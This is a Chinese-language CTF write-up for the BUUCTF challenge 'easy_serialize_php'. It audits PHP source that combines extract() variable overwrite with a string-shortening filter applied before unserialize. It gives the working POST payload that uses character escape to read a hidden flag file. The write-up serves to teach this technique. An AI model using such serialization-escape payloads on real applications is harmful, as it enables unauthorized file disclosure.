热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

[安洵杯2019]easy_serialize_php(PHP字符逃逸应用,宝(/ω\)看看我吧)

题目平台:buuctf题目名称:[安洵杯2019]easy_serialize_php本题涉及知识点extract()变量覆盖PHP反序列化ÿ

题目平台:buuctf

题目名称:[安洵杯 2019]easy_serialize_php

本题涉及知识点

  • extract() 变量覆盖

  • PHP反序列化:

    • 正常情况下,序列化的对象是一个类的实例,但实际上,数组也能序列化
    • 字符逃逸 (知识点学习链接 )

<?php$function &#61; &#64;$_GET[&#39;f&#39;];function filter($img){$filter_arr &#61; array(&#39;php&#39;,&#39;flag&#39;,&#39;php5&#39;,&#39;php4&#39;,&#39;fl1g&#39;);$filter &#61; &#39;/&#39;.implode(&#39;|&#39;,$filter_arr).&#39;/i&#39;;return preg_replace($filter,&#39;&#39;,$img);
}if($_SESSION){ unset($_SESSION);
}$_SESSION["user"] &#61; &#39;guest&#39;;
$_SESSION[&#39;function&#39;] &#61; $function;extract($_POST);if(!$function){echo &#39;source_code&#39;;
}if(!$_GET[&#39;img_path&#39;]){$_SESSION[&#39;img&#39;] &#61; base64_encode(&#39;guest_img.png&#39;);
}else{$_SESSION[&#39;img&#39;] &#61; sha1(base64_encode($_GET[&#39;img_path&#39;]));
}$serialize_info &#61; filter(serialize($_SESSION));if($function &#61;&#61; &#39;highlight_file&#39;){highlight_file(&#39;index.php&#39;);
}else if($function &#61;&#61; &#39;phpinfo&#39;){eval(&#39;phpinfo();&#39;); //maybe you can find something in here!
}else if($function &#61;&#61; &#39;show_image&#39;){$userinfo &#61; unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo[&#39;img&#39;]));
}
?>

一、审计代码


先分析与变量$function有关的代码

$function &#61; &#64;$_GET[&#39;f&#39;];if(!$function){// 如果url中没有传递fecho &#39;source_code&#39;;
}f($function &#61;&#61; &#39;highlight_file&#39;){ //默认值&#xff0c;打印源码highlight_file(&#39;index.php&#39;);
}else if($function &#61;&#61; &#39;phpinfo&#39;){ //f&#61;phpinfoeval(&#39;phpinfo();&#39;); //maybe you can find something in here!
}else if($function &#61;&#61; &#39;show_image&#39;){ //f&#61;show_image$userinfo &#61; unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo[&#39;img&#39;]));
}

&#xff08;1&#xff09; 令/index.php?f&#61;phpinfo&#xff0c;查看phpinfo中的隐藏信息&#xff08;2&#xff09; 发现d0g3_f1ag.php文件&#xff08;3&#xff09;最终肯定是需要/index.php?f&#61;show_image利用反序列化漏洞来获取flag

在这里插入图片描述



分析有关$_SESSION部分的代码


//注销$_SESSION数组的值
if($_SESSION){unset($_SESSION);
}//注册值
$_SESSION["user"] &#61; &#39;guest&#39;;
$_SESSION[&#39;function&#39;] &#61; $function;extract($_POST);//这里存在变量覆盖漏洞if(!$_GET[&#39;img_path&#39;]){$_SESSION[&#39;img&#39;] &#61; base64_encode(&#39;guest_img.png&#39;);
}else{$_SESSION[&#39;img&#39;] &#61; sha1(base64_encode($_GET[&#39;img_path&#39;]));
}$serialize_info &#61; filter(serialize($_SESSION));
//一个明显的特征&#xff0c;对序列化后的字符串进行过滤&#xff0c;再反序列化&#xff0c;这会存在重复逃逸漏洞
function filter($img){$filter_arr &#61; array(&#39;php&#39;,&#39;flag&#39;,&#39;php5&#39;,&#39;php4&#39;,&#39;fl1g&#39;);$filter &#61; &#39;/&#39;.implode(&#39;|&#39;,$filter_arr).&#39;/i&#39;;return preg_replace($filter,&#39;&#39;,$img);
}$userinfo &#61; unserialize($serialize_info);
//fige_get_contents&#xff08;&#xff09;&#xff0c;读取文件内容
echo file_get_contents(base64_decode($userinfo[&#39;img&#39;]))

  • 首先&#xff0c;粗略的过一遍代码&#xff0c;file_get_contents函数读取文件的内容肯定是d0g3_f1ag.php&#xff0c;因此base64_decode($userinfo[&#39;img&#39;])的结果也得是d0g3_f1ag.php。不会有sha1()这个加密过程&#xff0c;也就是说$_GET[&#39;img_path&#39;]变量为空&#xff0c;但这样,$_SESSION[&#39;img&#39;]似乎是固定值base64_encode(&#39;guest_img.png&#39;);

  • 还有一点extract($_POST);是可以通过提交post请求&#xff0c;覆盖当前已经定义了的变量&#xff0c;也就是说&#xff0c;是能改变$_SESSION[&#39;function&#39;]$_SESSION["user"]的值

  • 同时&#xff0c;本题存在对序列后的字符串进行过滤处理&#xff0c;也就是序列化后的字符串是会减少的情况&#xff0c;导致与对应的长度不匹配&#xff0c;出现无法反序列化。这里是存在字符逃逸漏洞的&#xff01;&#xff08;知识点学习链接 &#xff09;


二、漏洞利用


  • 正常情况下&#xff0c;$serialize_info的值为

    • a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw&#61;&#61;";}
    • 注&#xff1a;其中键user和function的值是可以通过$extract($_POST)任意改变&#xff0c;但不能改变$_SESSION[&#39;img&#39;]&#xff08;序列化前&#xff0c;此值必须为空&#xff0c;避免sha1() &#xff09;
    • 本题是过滤后&#xff0c;实际字符变少类型的字符逃逸&#xff0c;会存在吞的过程&#xff01;而又可以通过extract($_POST)&#xff0c;任意控制$_SESSION数组。
    • 思路&#xff1a;用user部分&#xff0c;吐掉function不需要部分&#xff0c;让}过滤不需要的img部分
  • 具体&#xff01;

    • a:3:{s:4:"user";s:?:"?";**s:8:"function";s:??**:"**;s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA&#61;&#61;";}**";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw&#61;&#61;";}

    • 我要是吞掉的部分为";**s:8:"function";s:38**:&#xff0c;字符串长度为22&#xff0c;则需要所以user对应的值为flag x 4 &#43; php x 2&#xff0c;

    • 所以POST传参为&#xff1a;_SESSION[user]&#61;flagflagflagflagphpphp&_SESSION[function]&#61;;s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA&#61;&#61;";}

      • 按我的理解应该是_SESSION[“user”]和_SESSION[‘function’]&#xff0c;但加上引号后&#xff0c;这题就做不出来&#xff0c;真的是难了我好久&#xff08;在线求大佬解惑&#xff09;
  • 最终的反序列化的POC&#xff1a;

    • a:3:{s:4:"user";s:22:"flagflagflagflagphpphp&#96;&#96;";s:8:"function";s:38:"&#96;&#96;**;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA&#61;&#61;";}**";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw&#61;&#61;";}
  • 在burp中提交post请求_SESSION[user]&#61;flagflagflagflagphpphp&_SESSION[function]&#61;;s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA&#61;&#61;";}

在这里插入图片描述

  • 发现flag文件在 /d0g3_fllllllag
    • /d0g3_fllllllag base64后为L2QwZzNfZmxsbGxsbGFn
    • 得到flag{61011a5f-08cc-4884-9666-6b639382f93b}
      在这里插入图片描述

三、反思总结

题目有两个坑的点

  • 第一个&#xff0c;why post请求中会是 _SESSION[user]而不是_SESSION["user"]&#xff0c;这有涉及到啥知识&#xff0c;是真搜不到。。。。。。&#xff08;求求大佬&#xff01;&#xff01;&#xff01;&#xff09;

  • 第二个&#xff0c;为什么post提交的参数_SESSION[function]提交的参数是;s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

    • 在看大佬的writeup之前我一直;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

    • 我不懂;s:8:"function";s:10:"show_image"的意义所在。虽然有$_SESSION[&#39;function&#39;] &#61; $function;这一步操作&#xff0c;我以为也想过改变$_SESSION[&#39;function&#39;]的值后$function;可能会跟着改变&#xff0c;但怎么可能&#xff01;改变也是改变到与$userinfo[‘function’]的值相同才符合题意啊&#xff01;&#xff01;&#xff01;

    • 。。。。。。。。。。好了&#xff0c;我才把字码到这&#xff0c;突然灵光一闪。。。是的悟了。。

    • 由于序列化后的字符串是a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw&#61;&#61;";}&#xff0c;注意&#xff0c;宝&#xff0c;开头是a:3&#xff0c;代表的是反序列化的对象是数组&#xff0c;且有三个元素&#xff0c;所以我必须保障反序列后生成的数组有三个元素

    • 实际上我也能这么写;s:8:"function";s:10:"wozaizheli";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} (只要不是过滤函数中数组里面的字符串即可&#xff09;

在这里插入图片描述


推荐阅读
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • 1,关于死锁的理解死锁,我们可以简单的理解为是两个线程同时使用同一资源,两个线程又得不到相应的资源而造成永无相互等待的情况。 2,模拟死锁背景介绍:我们创建一个朋友 ... [详细]
  • PHP中的单例模式与静态变量的区别及使用方法
    本文介绍了PHP中的单例模式与静态变量的区别及使用方法。在PHP中,静态变量的存活周期仅仅是每次PHP的会话周期,与Java、C++不同。静态变量在PHP中的作用域仅限于当前文件内,在函数或类中可以传递变量。本文还通过示例代码解释了静态变量在函数和类中的使用方法,并说明了静态变量的生命周期与结构体的生命周期相关联。同时,本文还介绍了静态变量在类中的使用方法,并通过示例代码展示了如何在类中使用静态变量。 ... [详细]
  • 本文整理了315道Python基础题目及答案,帮助读者检验学习成果。文章介绍了学习Python的途径、Python与其他编程语言的对比、解释型和编译型编程语言的简述、Python解释器的种类和特点、位和字节的关系、以及至少5个PEP8规范。对于想要检验自己学习成果的读者,这些题目将是一个不错的选择。请注意,答案在视频中,本文不提供答案。 ... [详细]
  • express工程中的json调用方法
    本文介绍了在express工程中如何调用json数据,包括建立app.js文件、创建数据接口以及获取全部数据和typeid为1的数据的方法。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文介绍了Perl的测试框架Test::Base,它是一个数据驱动的测试框架,可以自动进行单元测试,省去手工编写测试程序的麻烦。与Test::More完全兼容,使用方法简单。以plural函数为例,展示了Test::Base的使用方法。 ... [详细]
  • Voicewo在线语音识别转换jQuery插件的特点和示例
    本文介绍了一款名为Voicewo的在线语音识别转换jQuery插件,该插件具有快速、架构、风格、扩展和兼容等特点,适合在互联网应用中使用。同时还提供了一个快速示例供开发人员参考。 ... [详细]
  • Google在I/O开发者大会详细介绍Android N系统的更新和安全性提升
    Google在2016年的I/O开发者大会上详细介绍了Android N系统的更新和安全性提升。Android N系统在安全方面支持无缝升级更新和修补漏洞,引入了基于文件的数据加密系统和移动版本的Chrome浏览器可以识别恶意网站等新的安全机制。在性能方面,Android N内置了先进的图形处理系统Vulkan,加入了JIT编译器以提高安装效率和减少应用程序的占用空间。此外,Android N还具有自动关闭长时间未使用的后台应用程序来释放系统资源的机制。 ... [详细]
  • 用Vue实现的Demo商品管理效果图及实现代码
    本文介绍了一个使用Vue实现的Demo商品管理的效果图及实现代码。 ... [详细]
  • Windows7企业版怎样存储安全新功能详解
    本文介绍了电脑公司发布的GHOST WIN7 SP1 X64 通用特别版 V2019.12,软件大小为5.71 GB,支持简体中文,属于国产软件,免费使用。文章还提到了用户评分和软件分类为Win7系统,运行环境为Windows。同时,文章还介绍了平台检测结果,无插件,通过了360、腾讯、金山和瑞星的检测。此外,文章还提到了本地下载文件大小为5.71 GB,需要先下载高速下载器才能进行高速下载。最后,文章详细解释了Windows7企业版的存储安全新功能。 ... [详细]
  • 大数据Hadoop生态(20)MapReduce框架原理OutputFormat的开发笔记
    本文介绍了大数据Hadoop生态(20)MapReduce框架原理OutputFormat的开发笔记,包括outputFormat接口实现类、自定义outputFormat步骤和案例。案例中将包含nty的日志输出到nty.log文件,其他日志输出到other.log文件。同时提供了一些相关网址供参考。 ... [详细]
author-avatar
乐天小散_608
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有